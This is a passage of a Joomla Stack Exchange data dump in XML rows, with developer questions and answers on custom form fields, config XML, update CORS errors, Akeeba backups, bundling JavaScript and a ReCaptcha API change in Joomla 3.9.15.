description=&quot;COM_CARS_FORM_DESC_IMG_SIZE_LARGE&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_SIZE_LARGE&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_size_medium&quot; maxlength=&quot;4&quot; filter=&quot;unit&quot; type=&quot;text&quot; default=&quot;600&quot; label=&quot;COM_CARS_FORM_LBL_IMG_SIZE_MEDIUM&quot; description=&quot;COM_CARS_FORM_DESC_IMG_SIZE_MEDIUM&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_SIZE_MEDIUM&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_size_small&quot; maxlength=&quot;4&quot; filter=&quot;unit&quot; type=&quot;text&quot; default=&quot;288&quot; label=&quot;COM_CARS_FORM_LBL_IMG_SIZE_SMALL&quot; description=&quot;COM_CARS_FORM_DESC_IMG_SIZE_SMALL&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_SIZE_SMALL&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_zoom&quot; default=&quot;0.10&quot; type=&quot;list&quot; label=&quot;COM_CARS_FORM_LBL_IMG_ZOOM&quot; description=&quot;COM_CARS_FORM_DESC_IMG_ZOOM&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_ZOOM&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0.05&quot;&amp;gt;5%&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0.10&quot;&amp;gt;10%&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0.15&quot;&amp;gt;15%&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0.20&quot;&amp;gt;20%&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0.25&quot;&amp;gt;25%&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&quot;img_rotate&quot; default=&quot;45&quot; type=&quot;list&quot; label=&quot;COM_CARS_FORM_LBL_IMG_ROTATE&quot; description=&quot;COM_CARS_FORM_DESC_IMG_ROTATE&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_ROTATE&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;30&quot;&amp;gt;COM_CARS_FORM_IMG_ROTATE_OPTION_DEGREES_30&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;45&quot;&amp;gt;COM_CARS_FORM_IMG_ROTATE_OPTION_DEGREES_45&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;90&quot;&amp;gt;COM_CARS_FORM_IMG_ROTATE_OPTION_DEGREES_90&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset name=&quot;permissions&quot; description=&quot;JCONFIG_PERMISSIONS_DESC&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; component=&quot;com_cars&quot; class=&quot;inputbox&quot; filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot; section=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset name=&quot;component&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;save_history&quot; type=&quot;radio&quot; class=&quot;btn-group btn-group-yesno&quot; default=&quot;0&quot; label=&quot;JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL&quot; description=&quot;JGLOBAL_SAVE_HISTORY_OPTIONS_DESC&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;history_limit&quot; type=&quot;text&quot; filter=&quot;integer&quot; label=&quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL&quot; description=&quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC&quot; default=&quot;5&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset label=&quot;COM_IMAGE_SLIDESHOWS&quot; name=&quot;image_slideshows&quot;&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset name=&quot;permissions&quot; description=&quot;JCONFIG_PERMISSIONS_DESC&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; component=&quot;com_cars&quot; class=&quot;inputbox&quot; filter=&quot;rules&quot; validate=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot; section=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset name=&quot;component&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;save_history&quot; type=&quot;radio&quot; class=&quot;btn-group btn-group-yesno&quot; default=&quot;0&quot; label=&quot;JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL&quot; description=&quot;JGLOBAL_SAVE_HISTORY_OPTIONS_DESC&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;history_limit&quot; type=&quot;text&quot; filter=&quot;integer&quot; label=&quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL&quot; description=&quot;JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC&quot; default=&quot;5&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14009" LastEditorUserId="14009" LastEditDate="2020-02-03T21:43:10.970" LastActivityDate="2020-02-03T21:43:10.970" Title="How to override default.php for config.xml" Tags="|joomla-3.x|component|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26698" PostTypeId="2" ParentId="26665" CreationDate="2020-02-01T09:39:27.527" Score="2" Body="&lt;h1&gt;Solution used&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I created a form element extension of &lt;strong&gt;JFormField&lt;/strong&gt; class and used the &lt;strong&gt;renderField()&lt;/strong&gt; method to execute the process of wrapping &lt;strong&gt;div&lt;/strong&gt; elements around groups of field elements.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I added &lt;strong&gt;getInput()&lt;/strong&gt; method to the field element extension due to missing field value errors thrown when used in &lt;strong&gt;com_config&lt;/strong&gt; option view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also added the language constant interpreter to elements which output text eg:&#xA; &lt;strong&gt;JText::_(&lt;/strong&gt;$element['text']&lt;strong&gt;)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coding has been updated to show the changes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('JPATH_PLATFORM') or die;&#xA;/* &#xA;* render unwrapped open div element &#xA;*/&#xA;&#xA;class JFormFieldCmsegroup extends JFormField&#xA;{&#xA;    protected $type = 'cmsegroup';&#xA;    protected function getInput() {}&#xA;&#xA;    public function renderField($options = [])&#xA;    {&#xA;        $element    = $this-&amp;gt;element;&#xA;        $fieldtype  = $element['fieldtype'];&#xA;        $class      = ' class=&quot;'.$this-&amp;gt;class.'&quot;';&#xA;        $title      = $handle_slideclass= $content_slideclass='';&#xA;        $text       = (isset($element['text']) ? '&amp;lt;div class=&quot;textbox&quot;&amp;gt;'.JText::_($element['text']).'&amp;lt;/div&amp;gt;':'');&#xA;        $icon       = (isset($element['icon']) ? '&amp;lt;span class=&quot;icon&quot;&amp;gt;&amp;lt;i class=&quot;'.$element['icon'].'&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;':'');&#xA;&#xA;&#xA;        if( !empty($element['title']) ) &#xA;        {&#xA;            if( isset($element['slider']) ) &#xA;            {&#xA;                list($handle, $content) = explode(',', $element['slider']);&#xA;                $handle_slideclass = ' slide-tab '.$handle;&#xA;                $content_slideclass = ' '.$content;&#xA;            }&#xA;&#xA;            $title = '&amp;lt;h3 class=&quot;'.$handle_slideclass.'&quot;&amp;gt;'.$icon.'&amp;lt;span&amp;gt;'.JText::_($element['title']).'&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;';&#xA;        }&#xA;&#xA;        $head = (isset($element['head']) ? '&#xA;        &amp;lt;div'.$class.'&amp;gt;&#xA;        '.$title.'&#xA;        &amp;lt;div class=&quot;cmse-group'.$content_slideclass.'&quot;&amp;gt;&#xA;        '.$text.'&#xA;        &amp;lt;div class=&quot;cmse-inner&quot;&amp;gt;' : &#xA;        '');&#xA;        $foot = (isset($element['foot']) ? '&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;' : '');&#xA;&#xA;        return $head.$foot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Use in manifest XML&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Only the &lt;strong&gt;type&lt;/strong&gt;, &lt;strong&gt;head&lt;/strong&gt; and &lt;strong&gt;foot&lt;/strong&gt; attributes are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;slider&lt;/strong&gt; attribute creates two class definitions which are inserted in order to the H3 element and the div below it. This should allow use with any drop slide javascript function. Otherwise the renderField() coding can be modified as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&amp;lt;field type=&quot;cmsegroup&quot; head=&quot;true&quot; /&amp;gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&amp;lt;field type=&quot;cmsegroup&quot; foot=&quot;true&quot; /&amp;gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;module&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;A Module&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;&amp;lt;/author&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;test module&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_cmse_dev&quot;&amp;gt;mod_cmse_dev.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot; addfieldpath=&quot;libraries/cmselib/elements&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- Add opening DIV along with H3 --&amp;gt;&#xA;            &amp;lt;field &#xA;            type=&quot;cmsegroup&quot; &#xA;            head=&quot;true&quot; &#xA;            slider=&quot;ahandle,acontent&quot; &#xA;            class=&quot;my-parent-wrapperclass otherclass&quot; &#xA;            title=&quot;Output in H3 element&quot; &#xA;            icon=&quot;fas fa-cogs&quot; &#xA;            text=&quot;Output in a div element at the top of the group&quot; &#xA;            /&amp;gt;&#xA;&#xA;&amp;lt;!-- Fields --&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; name=&quot;element&quot; label=&quot;The Label&quot; /&amp;gt;&#xA;            &amp;lt;field type=&quot;radio&quot; name=&quot;rsds&quot; class=&quot;btn-group btn-group-yesno&quot; default=&quot;0&quot; label=&quot;Radio&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;!-- Closing DIV --&amp;gt;&#xA;            &amp;lt;field type=&quot;cmsegroup&quot; foot=&quot;true&quot; /&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Result HTML output&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;cmse-group slide-group&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;slide-tab ahandle isdown&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;icon&quot;&amp;gt;&amp;lt;i class=&quot;&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span&amp;gt;The Group Title&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;cmse-group acontent&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;textbox&quot;&amp;gt;The text inserted here&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;cmse-inner&quot;&amp;gt;&#xA;&#xA;            &amp;lt;!-- Default fields --&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                    &amp;lt;label id=&quot;jform_params_wshf-lbl&quot; for=&quot;jform_params_wshf&quot;&amp;gt;Jump&amp;lt;/label&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;jform[params][wshf]&quot; id=&quot;jform_params_wshf&quot; value=&quot;&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                    &amp;lt;label id=&quot;jform_params_rsds-lbl&quot; for=&quot;jform_params_rsds&quot;&amp;gt;Radio&amp;lt;/label&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;fieldset id=&quot;jform_params_rsds&quot; class=&quot;btn-group btn-group-yesno radio&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;radio&quot; id=&quot;jform_params_rsds0&quot; name=&quot;jform[params][rsds]&quot; value=&quot;1&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;jform_params_rsds0&quot; class=&quot;btn&quot;&amp;gt;Yes&amp;lt;/label&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;radio&quot; id=&quot;jform_params_rsds1&quot; name=&quot;jform[params][rsds]&quot; value=&quot;0&quot; checked=&quot;checked&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;jform_params_rsds1&quot; class=&quot;btn active btn-danger&quot;&amp;gt;No&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- default fields end --&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Output&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MBT44.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MBT44.jpg&quot; alt=&quot;result HTML&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="12862" LastEditDate="2020-02-01T21:18:05.570" LastActivityDate="2020-02-01T21:18:05.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26699" PostTypeId="2" ParentId="17829" CreationDate="2020-02-01T17:21:16.637" Score="0" Body="&lt;p&gt;The above answers pretty much cover what's going on, but I hope I have something to add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click the 'Install the Update' button in the Joomla Update component, the browser requests a URL based on the configuration variable JConfig::live_site, eg &lt;a href=&quot;https://www.sitea.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sitea.com&lt;/a&gt;. However, if you have a 301 redirect in your htaccess, you will be load the update page, but from the URL specified in the rewrite, eg &lt;a href=&quot;https://www.siteb.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.siteb.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The update page makes an AJAX request to get &lt;code&gt;components/com_joomlaupdate/restore.php&lt;/code&gt;, but it also uses JConfig::live_site as the base of this request, which in this example would be to &lt;a href=&quot;https://www.sitea.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sitea.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you have the update page loading from www.siteb.com, trying to make an AJAX request to www.sitea.com. Most browsers will block this request because of Cross Origin Resource Sharing rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above will even come into play if the update page is non-www and the AJAX is trying to load from a www version of the same domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to spot whether this is a problem is to look at the URL in the browser when you get onto the page which pops the JavaScript Alert error. If this URL doesn't match what you have in your configuration.php's &lt;code&gt;live_site&lt;/code&gt; variable, then you need to either modify the htaccess rewrite or modify the live_site URL.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2020-02-01T17:21:16.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26700" PostTypeId="1" CreationDate="2020-02-03T10:03:51.800" Score="3" ViewCount="77" Body="&lt;p&gt;Joomla 3.9.15&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using Akeeba to backup my sites and it's very good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently installed in on quite a busy site, users are regularly logging in and out of the front and back end, and making content changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I simply run the Akeeba backup process as normal in the admin area, or should I take any action before this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking things such as logging users out of my site, or making the site temporarily unavailable? Should I allocate a certain window of time during the week for a backup and inform users not to login or make changes during this time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often there are a number of users logged into the admin area simultaneously, however there is only one super admin (me). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it makes any difference that there are database changes occurring during the backup process? I'm sure the developer took this into consideration but I couldn't find anything in the documentation. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-10-31T11:07:50.807" Title="Backing Up Live Site Using Akeeba" Tags="|joomla-3.x|component|akeebabackup|backups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26701" PostTypeId="1" CreationDate="2020-02-03T15:26:29.147" Score="1" ViewCount="40" Body="&lt;p&gt;What is the proper way of passing variables from Joomla backend to javascript (frontend)? I have found examples simply setting the variables in templates like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var someVar = &amp;lt;?php echo $some_php_var ?&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any other &quot;standard&quot; way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="14069" LastActivityDate="2020-02-03T15:26:29.147" Title="How to pass variables/data to client javascript from Joomla component?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ClosedDate="2020-02-04T17:07:32.787" ContentLicense="CC BY-SA 4.0" />
  <row Id="26703" PostTypeId="1" AcceptedAnswerId="26705" CreationDate="2020-02-03T20:05:38.967" Score="0" ViewCount="189" Body="&lt;p&gt;I have component which needs a slider. I`ve chosed carousel but how to add it in the frontend part of the component on installation ? Tried to put it in the administrator part but the scripts can't be reached this way.&lt;/p&gt;&#xA;" OwnerUserId="14009" LastActivityDate="2020-02-03T22:38:30.880" Title="How to add js library on component installation" Tags="|joomla-3.x|component|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26704" PostTypeId="2" ParentId="14652" CreationDate="2020-02-03T21:12:00.680" Score="0" Body="&lt;p&gt;This may not be exactly what you asked about, but it seems your question is concerned with placing a button inside an article, and that button links to a separate article when that button is clicked.  Unless I misread your original post, you are trying to use the Read More button to accomplish this, which likely will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a little trial-and-error, I found it rather easy to place a button in an article, that when clicked, links to another article.  I'm using Joomla 3.9 and the JCE Editor.  Follow along and you'll see how simple it really is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you'll need to create and save the article you want to &quot;link to&quot;.  Then, load the article you want to &quot;link from&quot; in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, the editors don't offer a menu icon to insert a button, so you'll need to switch to the &quot;code view&quot; of the editor and enter the HTML button code manually.  This can be generic &quot;opening tag&quot;, button text, and &quot;closing tag&quot; for a HTML button.  Place the button code where you want the button to appear in your article.  Then, switch back to the &quot;editor view&quot; (the WYSIWYG) view.  You should see the button in your article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, double-click that button to select it.  Make sure the entire button is highlighted and selected.  Then, click the editor's &quot;insert link&quot; icon to fill in the url information for the article you want to &quot;link to&quot;, just like you'd do with a standard text-based link.  That's all there is to it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process actually places the HTML button code &lt;em&gt;inside&lt;/em&gt;  the usual HTML anchor tags.&lt;/p&gt;&#xA;" OwnerUserId="6907" LastEditorUserId="6907" LastEditDate="2020-02-04T01:21:05.597" LastActivityDate="2020-02-04T01:21:05.597" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26705" PostTypeId="2" ParentId="26703" CreationDate="2020-02-03T22:38:30.880" Score="2" Body="&lt;p&gt;Your component has a manifest file (component_name.xml). In that file you list the files you want the installer to upload and locate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you create a section that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&quot;com_whatever&quot; folder=&quot;media&quot;&amp;gt;&#xA;&amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That tells the installer to install the folder 'js' into /media/com_whatever area of Joomla (do I really need to point out that you need to substitute your component's name for com_whatever?) so it can be ready for use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the template for the view for your controller (front-end) you can ensure Joomla adds that js by calling addScript to add your script to the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to do it that way because that will allow a user to override your choice as part of a general template override for your component (and please don't be That Guy who thinks the way they want the output to look is the only right and proper way for it to look -- let the user have some say in the design and layout of their own site).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-03T22:38:30.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26706" PostTypeId="2" ParentId="26700" CreationDate="2020-02-04T10:18:14.013" Score="1" Body="&lt;p&gt;There will be a change for that some is missing if you should use a backup.&#xA;If you use the pro version of akeebabackup you can set it to run backup at night automatical. there will be less users online, i guess.&lt;/p&gt;&#xA;" OwnerUserId="14075" LastActivityDate="2020-02-04T10:18:14.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26707" PostTypeId="1" AcceptedAnswerId="26708" CreationDate="2020-02-04T20:25:59.977" Score="2" ViewCount="536" Body="&lt;p&gt;After upgrading to Joomla 3.9.15, &lt;strong&gt;my site / extension / custom form captcha stopped working&lt;/strong&gt;. I get &quot;Please complete the CAPTCHA&quot; or &quot;invalid-input-response&quot; or something like &quot;Invalid Captcha&quot;. What happened?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2020-02-05T11:33:38.630" Title="My site's form or captcha stopped working after upgrading to Joomla 3.9.15" Tags="|joomla-3.9|captcha|joomla-3.9.15|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26708" PostTypeId="2" ParentId="26707" CreationDate="2020-02-04T20:25:59.977" Score="3" Body="&lt;h2&gt;Answer for Joomla Users&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An update of the &lt;code&gt;Captcha - ReCaptcha&lt;/code&gt; plugin changed the existing functionality and many of the extension developers need to update the way their extensions handled Captcha responses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a first step is &lt;strong&gt;to be 100% sure that you are using the latest version available&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are sure about that, please contact the extension developer and include a link to this page. It may help them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Answer for Extension Developers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Captcha - ReCaptcha&lt;/code&gt; plugin changed the way they handled the &lt;code&gt;onCheckAnswer&lt;/code&gt; event. &lt;a href=&quot;https://joomla.stackexchange.com/questions/16078/my-captcha-stopped-working-after-upgrading-to-joomla-3-5&quot;&gt;A similar change happened back in 2016&lt;/a&gt;, where we had to change the way we included captcha plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code may look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$captcha = JCaptcha::getInstance(JFactory::getConfig()-&amp;gt;get('captcha'));&#xA;if (!$captcha-&amp;gt;checkAnswer('my-recaptcha-id')) {&#xA;  // handle captcha not answered&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Up until now, the &lt;code&gt;onCheckAnswer&lt;/code&gt; event completely ignored our input. Instead, it loaded the correct response for Google ReCaptcha by calling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input-&amp;gt;get('g-recaptcha-response', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/0e81a7769ac33f8fc2964d03fbbd5f756d85798b#diff-4bc8a06d78752733c9531d61a8f51c42&quot; rel=&quot;nofollow noreferrer&quot;&gt;This changed on 25 Dec 2019&lt;/a&gt;. Now, our input is used to directly validate the captcha response. So, an easy way to bypass this is to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$captcha-&amp;gt;checkAnswer(null)) {&#xA;  // handle captcha not answered&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want your code to be 100% consistent, then assuming you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print JCaptcha::getInstance(JFactory::getConfig()-&amp;gt;get('captcha'))-&amp;gt;display('my_field_id', 'my_field_id', 'g-recaptcha');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;if (!$captcha-&amp;gt;checkAnswer($input-&amp;gt;get('my_field_id', null, 'string')) {&#xA;  // handle captcha not answered&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT!&lt;/strong&gt; You have to remember that the ReCaptcha plugin ignores our Captcha ID input anyway, so the above currently serves as a nice wrapper around &lt;code&gt;null&lt;/code&gt; anyway.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2020-02-05T11:33:38.630" LastActivityDate="2020-02-05T11:33:38.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
